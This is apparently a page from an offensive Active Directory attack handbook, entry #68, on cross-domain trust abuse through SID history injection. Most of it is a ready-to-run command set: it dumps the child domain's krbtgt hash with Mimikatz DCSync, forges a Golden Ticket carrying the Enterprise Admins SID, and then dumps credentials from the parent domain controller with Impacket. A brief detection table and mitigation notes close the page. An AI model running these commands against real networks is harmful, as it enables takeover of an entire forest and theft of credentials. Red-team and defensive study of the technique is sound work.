title: "Attack #68 โ Cross-Domain Trust Abuse (SID History)" description: "In AD forests with multiple domains connected by trust relationships, compromising one child domain gives a path to the forest root domain. By forging aโฆ" category: active-directory subcategory: "Trust Abuse" tags: ["active-directory", "kerberos", "credential-access", "privilege-escalation", "hashing"] tools: ["Impacket", "Mimikatz", "PowerShell"] difficulty: advanced updated: "2026-08-10" source: "vault:ActiveDirectory/AD-Attack/Category-Nine/๐ถ Attack #68 โ Cross-Domain Trust Abuse (SID History).md"#
๐ถ Attack #68 โ Cross-Domain Trust Abuse (SID History)#
๐ How It Works#
In AD forests with multiple domains connected by trust relationships, compromising one child domain gives a path to the forest root domain. By forging a Golden Ticket in the child domain and injecting the Enterprise Admins SID from the parent domain into the ticket's sIDHistory field (via the ExtraSids PAC field), the attacker gains Enterprise Admin privileges across the entire forest.
This works because parent-child trust is bidirectional and transitive by default, and SID filtering is NOT enforced on inter-domain trusts within the same forest.
โ๏ธ Prerequisites#
| Requirement | Detail |
|---|---|
| KRBTGT hash of child domain | Obtained via DCSync in child domain |
| Child domain SID | Domain SID of compromised child |
| Enterprise Admins SID | Typically the forest root domain SID + -519 |
๐ป Full Commands#
# โโ Get child domain KRBTGT hash โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
mimikatz.exe "lsadump::dcsync /domain:child.corp.local /user:krbtgt" exit
# โโ Get parent domain SID โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
Get-ADDomain -Identity corp.local | Select DomainSID
# S-1-5-21-<parent_SID>
# Enterprise Admins = S-1-5-21-<parent_SID>-519
# โโ Forge Golden Ticket with parent EA SID โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
kerberos::golden /user:Administrator /domain:child.corp.local \
/sid:S-1-5-21-<child_SID> /krbtgt:<child_krbtgt_hash> \
/sids:S-1-5-21-<parent_SID>-519 /ptt
# The /sids parameter injects Enterprise Admins SID into ExtraSids PAC field
# โโ Access parent domain as Enterprise Admin โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
dir \\PARENT-DC.corp.local\C$
lsadump::dcsync /domain:corp.local /user:krbtgt
# โโ Impacket โ forge ticket with extra SID โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
ticketer.py -nthash <child_krbtgt_hash> \
-domain-sid S-1-5-21-<child_SID> \
-domain child.corp.local \
-extra-sid S-1-5-21-<parent_SID>-519 \
Administrator
export KRB5CCNAME=Administrator.ccache
secretsdump.py -k -no-pass corp.local/Administrator@PARENT-DC.corp.local
๐ก๏ธ Detection โ Event IDs#
| Event ID | Source | What to Look For |
|---|---|---|
| 4769 | Security Log (DC) | TGS request from child domain for parent domain resources |
| 4624 | Security Log | Logon with Enterprise Admin SID in token but no EA group membership |
๐ Attack Chain Context#
[Cross-Domain Trust] โโโ Child Domain โ Enterprise Admin in entire forest
โ
โโโโ ๐ Golden Ticket /sids = ExtraSids SID injection
โโโโ โ ๏ธ SID filtering NOT enforced within forest trusts
โโโโ ๐ Defeated by: SID filtering on external trusts, selective auth
โ Attack #68 โ Cross-Domain Trust Abuse complete.